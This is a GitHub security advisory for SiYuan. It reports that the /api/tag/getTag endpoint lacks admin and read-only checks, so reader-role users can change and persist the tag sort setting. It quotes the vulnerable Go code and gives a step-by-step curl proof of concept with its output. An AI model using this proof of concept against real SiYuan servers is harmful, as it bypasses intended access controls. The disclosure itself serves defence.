GHSA-6r88-8v7q-q4p2MediumCVSS 4.3

SiYuan: Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk

Published
May 13, 2026
Last Modified
May 15, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace — can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json.

Same root-cause class as the patched GHSA-4j3x-hhg2-fm2x (which fixed missing CheckAdminRole + CheckReadonly on /api/template/renderSprig).

Details

Affected files / lines (v3.6.5):

kernel/api/router.go:170 — only CheckAuth:

ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag)
// Compare the sibling registrations on the next two lines, which DO gate writes:
ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)
ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)

kernel/api/tag.go:28-64 — handler. The if nil != arg["sort"] block writes config without any role check:

func getTag(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)
    arg, ok := util.JsonArg(c, ret)
    if !ok { return }
    ...
    if nil != arg["sort"] {                    // ← unauthorized write path
        sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false)
        if !ok { return }
        model.Conf.Tag.Sort = int(sortVal)
        model.Conf.Save()                      // persists entire conf to <workspace>/conf/conf.json
    }
    ...
}

Conf.Save() rewrites the entire configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).

PoC

Same Docker setup as Advisory 1.

# 1. Authenticate (any role with CheckAuth pass — admin used here for convenience).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
  -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null

# 2. Read current Conf.Tag.Sort.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort BEFORE = 4

# 3. Mutate via the read-style endpoint.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \
  -H 'Content-Type: application/json' -d '{"sort": 7}'
# → {"code":0,"msg":"","data":[]}

# 4. Confirm in-memory.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort AFTER = 7

# 5. Confirm persisted to disk inside the container.
docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json
# → sort":7

The vulnerability is exposed to publish-mode RoleReader (default for any anonymous publish visitor) and to RoleEditor users on workspaces where the administrator has set Editor.ReadOnly = true.

Impact

Limited direct damage — the writable field is only the tag display sort order. The pattern is concerning because:

  • It demonstrates the same gap that GHSA-4j3x-hhg2-fm2x was meant to flag broadly (missing CheckAdminRole + CheckReadonly on a read-style endpoint that performs writes); each occurrence has to be patched individually.
  • Conf.Save() rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.
  • A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.

🎯 Affected products1

  • go/github.com/siyuan-note/siyuan/kernel:< 0.0.0-20260512140701-d7b77d945e0d

🔗 References (3)